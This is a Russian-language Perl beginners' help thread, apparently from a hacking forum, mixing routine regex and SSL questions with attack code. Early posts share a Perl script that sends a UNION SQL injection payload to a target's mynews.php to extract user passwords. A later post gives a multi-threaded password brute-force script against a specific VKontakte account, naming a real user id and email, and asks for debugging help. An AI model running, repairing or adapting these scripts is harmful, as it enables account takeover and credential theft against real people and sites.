[Perl] Новичкам: задаем вопросы

Код весь выкладывай...

 

use LWP::UserAgent;
print "\nTarget page:[http://wwww.localhost/pathdir/]: ";
chomp(my $target=<STDIN>);
$tab="users";
$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
$host = $target ."mynews.php?id=1+union+select+password+from+".$tab."/*";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content;
print "\n[+] information : $answer\n\n";

 

Мммммм... поступим проще.. Напиши url страницы, с которой нужно получить контент...

 

use LWP::UserAgent;
print "\nTarget page:[http://wwww.localhost/pathdir/]: ";
chomp(my $target=<STDIN>);
$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
$host = $target ."/showthread.php?p=2067931#post2067931";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content;
print "\n[+] information : $answer\n\n";

вводим forum.antichat.ru

 

forum.antichat.ru

 

все чувак пащет оказывается =))) спасибо

use LWP::UserAgent;
print "\nTarget page:[http://wwww.localhost/pathdir/]: ";
chomp(my $target=<STDIN>);
$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
$host = $target ."/mynews.php?id=1+union+select+password+from+users/*";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content;

print "\n[+] Information : $answer\n\n";

 

надо регулярные выражения позубрить=)))

 

}{@I{er'Ы
Найдите пожалуйста ошибку в скрипте PERL(для взлома стрпниц вконтакте)

#!/usr/bin/perl

use IO::Socket;
use MD5;
use threads;
use threads::shared;
my @pass : shared;

######################################
# C!klodoL
# vkontakte.ru bruteforce with multi-threads
######################################
$dic = 'passl.txt'; #словарь паролей
$id = 64827412; #id цели
$mail = 'ilya-seleznev%40mail.ru'; #мыло, вместо @ вписать %40
$threads = 4; #количество потоков
######################################

open (pass, "<$dic");

Next:
@pass = pass();

for(0..$threads) {$trl[$_] = threads->create(\&Brut, $_);}
for(@trl) { $_->join; }

sub Brut
{

while (@pass){

$pass = shift @pass;

$md5 = MD5->hexhash($pass);
$sock = IO::Socket::INET->new(Proto=>'tcp',PeerAddr=>'vkontakte.ru',PeerPort=>80);
print $sock "HEAD http://vkontakte.ru/ HTTP/1.0\r\n".
"Host: vkontakte.ru\r\n".
"Accept: */*\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"User-Agent: Mozillo\r\n".
"Cookie: remixchk=2; remixmid=$id; remixemail=$mail; remixpass=$md5\r\n".
"Connection: close\r\n\r\n";
$answ = <$sock>;
close $sock;
print "$pass $answ";
if ($answ =~ /302/){
open (good, '>>good.txt');
print good "$id:$pass:$md5\n";
print "$id:$pass:$md5\n";
close good;
exit;}
}
}
goto Next;
sub pass
{
my (@mas);
while (<pass>){
push @mas, $_;
last if (@mas == 400);
}
chomp @mas;
return @mas;
}


ато у меня не сохраняются правильный пороль в good.txt

 

Всем привет.
Помогите составить регулярное выражение
<b><a class=link1 href="subkat.php?type=showsubkat&type2=1">ТЕКСТ1</a></b>
Нужно, чтобы ТЕКСТ1 вернуло.

 

|<a.+?>(.+?)</a>|

 

if($doc =~ /|<a.+?>(.+?)<\/a>|/){
print "\n[+] $2 \n";
}else{
print "\nError\n";
}
т.е. так?

 

to SeNaP:
$doc='<b><a class=link1 href="subkat.php?type=showsubkat&type2=1">ТЕКСТ1</a></b>';
if($doc=~/>([^<]+)<\/a/)
{
print $1;
}
else
{
die "error"
}

 

Спасибо, но как сделать, чтобы
вырезало так,
$doc='<b><a class=link1 href="subkat.php?type=showsubkat&type2=1">(.+)</a></b>';
по такому шаблону.Т.е. всё что между тегами, вернуло

 

Code:

if ($page =~ /<b><a class=link1 href=".+?">(.+?)<.a><.b>/i) { .. };

ошибки нету, скрипты старый. для вк и других соц. сетей есть другой раздел на этом форуме.

 

как заставить перk работать с https \ssl

 

IO::Socket::SSL поставить

 

где ошибко?

PHP:

# perl
$a=3; 
$b=5; 
my $aaa = $b%$a;
print $aaa;
sleep (123);

 

Результат в консоли ждёшь..?!

Code:

# perl 
$a=3;  
$b=5;  
my $aaa = $b%$a; 
print $aaa."\n"; 
sleep (123); 

 

Пишу авторег,не могу выставить функцию чтоб ключ AC выдирал из файла Key.txt

PHP:

 #antigate 
my $AC_HOST = 'antigate.com'; 
 #AC key     
my $AC_KEY = 'key.txt'; 

Где ошибка??

 

Ошибка вероятней всего в авторе кода, который не хочет/не может прочитать элементарный материал и уже начинает "программировать".